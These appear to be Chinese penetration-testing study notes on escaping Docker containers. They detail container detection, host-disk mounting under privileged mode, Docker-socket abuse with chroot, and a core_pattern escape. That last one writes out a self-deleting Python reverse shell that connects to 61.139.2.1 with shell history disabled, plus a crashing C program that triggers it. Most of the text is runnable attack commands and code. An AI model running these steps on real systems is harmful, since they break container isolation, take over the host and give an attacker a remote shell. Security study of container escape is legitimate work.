测试流程
1、前渗透-判断在Docker中
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643
查询cgroup信息
cat /proc/1/cgroup
检查/.dockerenv文件
ls -alh
检查mount信息
mount | grep '/ type'
查看硬盘信息
fdisk -l 容器输出为空,非容器有内容输出
查看文件系统以及挂载点
df -h | egrep '(overlay|aufs)' 检查文件系统挂载的目录,也能够简单判断是否为docker环境
2、前渗透-镜像中的应用漏洞
3、前渗透-镜像中的默认配置
4、后渗透-三种安全容器逃逸
-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
容器逃逸-特权模式
- 进入环境判断是否处在容器内,根目录下有.dockerenv文件
判断特权
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffffcat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
查看挂载磁盘设备
fdisk -l
创建一个目录,将宿主机文件挂载到该目录下
mkdir /test && mount /dev/vda3 /test
- 然后读/etc/passwd
容器逃逸-危险挂载
挂载Docker Socket逃逸
进入容器检查环境
![屏幕截图 2025-03-18 213054.png][5]
检测挂载
ls -lah /var/run/docker.sock
![屏幕截图 2025-03-18 213324.png][6]
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh docker run -it -v /:/host ubuntu /bin/bash
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录
chroot /host
挂载宿主机procfs逃逸
启动环境
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境
find / -name core_pattern
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | grep docker(寻找workdir)
- 写入py脚本
这里写的是迪总的脚本,按其他方法需要安装vim
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "61.139.2.1"
lport =7877
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
- 给py脚本权限
写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/d382d53454701a001cc8540fba37cef039e215e6e46a8e1dc452a49d3cf26420/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
再写入一个c文件,和py在同一目录下
cat >/tmp/x.c << EOF #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; } EOF
安装gcc编译c文件,也可以在相同环境编译后在传入
gcc x.c -o x
- 执行编译文件,然后在攻击机上反弹命令
模拟真实场景docker逃逸
1、高权限-Web入口到Docker逃逸(Java:shiro-721)
2、低权限-Web入口到Docker逃逸(PHP:dvwa)